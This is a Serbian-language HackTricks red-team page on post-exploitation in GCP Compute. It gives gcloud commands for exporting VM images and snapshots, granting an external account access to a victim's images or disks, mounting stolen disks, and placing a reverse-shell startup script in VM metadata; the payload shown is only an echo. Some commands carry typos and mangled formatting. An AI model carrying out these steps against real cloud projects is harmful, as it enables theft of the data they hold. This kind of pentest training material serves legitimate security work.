GCP - Compute Post Exploitation

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Compute

Za više informacija o Compute i VPC (Networking) pogledajte:

GCP - Compute Enum

Izvoz i inspekcija VM image-ova lokalno

Ovo bi attacker-u omogućilo da pristupi podacima sadržanim u već postojećim images ili kreira nove images pokretnih VMs i pristupi tim podacima bez direktnog pristupa pokrenutom VM-u.

Moguće je izvesti VM image u bucket, zatim ga preuzeti i montirati lokalno pomoću sledeće komande:

Izvoz i preuzimanje VM image-a ```bash gcloud compute images export --destination-uri gs:///image.vmdk --image imagetest --export-format vmdk # The download the export from the bucket and mount it locally ```

Pre izvođenja ove radnje napadaču mogu biti potrebne privilegije nad storage bucket-om i svakako privilegije nad cloudbuild jer je to service koji će biti zatražen da izvrši export
Pored toga, da bi ovo radilo codebuild SA i compute SA trebaju privilegovana ovlašćenja.
The cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com needs:

  • roles/iam.serviceAccountTokenCreator
  • roles/compute.admin
  • roles/iam.serviceAccountUser

And the SA <project-id>-compute@developer.gserviceaccount.com needs:

  • oles/compute.storageAdmin
  • roles/storage.objectAdmin

Izvoz i pregled snapshot-ova i diskova lokalno

Nije moguće direktno izvesti snapshot-ove i diskove, ali je moguće transformisati snapshot u disk, disk u image i prateći prethodni odeljak, izvesti tu image da bi se pregledala lokalno

Kreiraj disk iz snapshot-a i image iz diska ```bash # Create a Disk from a snapshot gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

Create an image from a disk

gcloud compute images create [IMAGE_NAME] –source-disk=[NEW_DISK_NAME] –source-disk-zone=[ZONE]

</details>

### Pregled Image-a kreiranjem VM-a

Sa ciljem pristupa **podatcima sačuvanim u image-u** ili unutar **pokrenutog VM-a** sa kojeg je napadač **kreirao image,** moguće je dodeliti eksternom nalogu pristup tom image-u:

<details>

<summary>Dodeli pristup image-u i kreiraj VM</summary>
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

a zatim kreirajte novu VM instancu iz nje:

Kreirajte VM instancu iz image-a ```bash gcloud compute instances create [INSTANCE_NAME] \ --project=[TARGET_PROJECT_ID] \ --zone=[ZONE] \ --image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME] ```

Ako niste mogli dati spoljnom nalogu pristup preko image-a, možete pokrenuti VM koristeći taj image u žrtvinom projektu i naterati metadata da izvrši reverse shell kako biste pristupili image-u dodavanjem parametra:

Create VM with reverse shell in metadata ```bash --metadata startup-script='#! /bin/bash echo "hello"; ' ```

Pregled Snapshot/Disk priključivanjem na VM

Sa ciljem pristupa podacima pohranjenim na disk ili snapshot, možete transformisati snapshot u disk, disk u image i pratiti prethodne korake.

Ili možete dodeliti eksternom nalogu pristup nad diskom (ako je početna tačka snapshot, dajte pristup snapshot-u ili napravite disk iz njega):

Dodeli pristup disku ```bash gcloud projects add-iam-policy-binding [PROJECT_ID] \ --member='user:[USER_EMAIL]' \ --role='roles/compute.storageAdmin' ```

Prikači disk na instancu:

Prikači disk na instancu ```bash gcloud compute instances attach-disk [INSTANCE_NAME] \ --disk [DISK_NAME] \ --zone [ZONE] ```

Montirajte disk u VM-u:

  1. SSH u VM:
SSH u VM i montirajte disk
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. Identifikujte disk: Kada ste u VM-u, identifikujte novi disk listanjem disk uređaja. Obično ga možete pronaći kao /dev/sdb, /dev/sdc, itd.
  2. Formatirajte i montirajte disk (ako je nov ili sirovi disk):
  • Napravite tačku za montiranje:
Napravite tačku za montiranje i montirajte
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • Montirajte disk:
Montirajte disk uređaj
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

Ako ne možete dati pristup eksternom projektu snapshotu ili disku, možda ćete morati pizvršiti ove radnje unutar instance u istom projektu kao snapshot/disk.

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks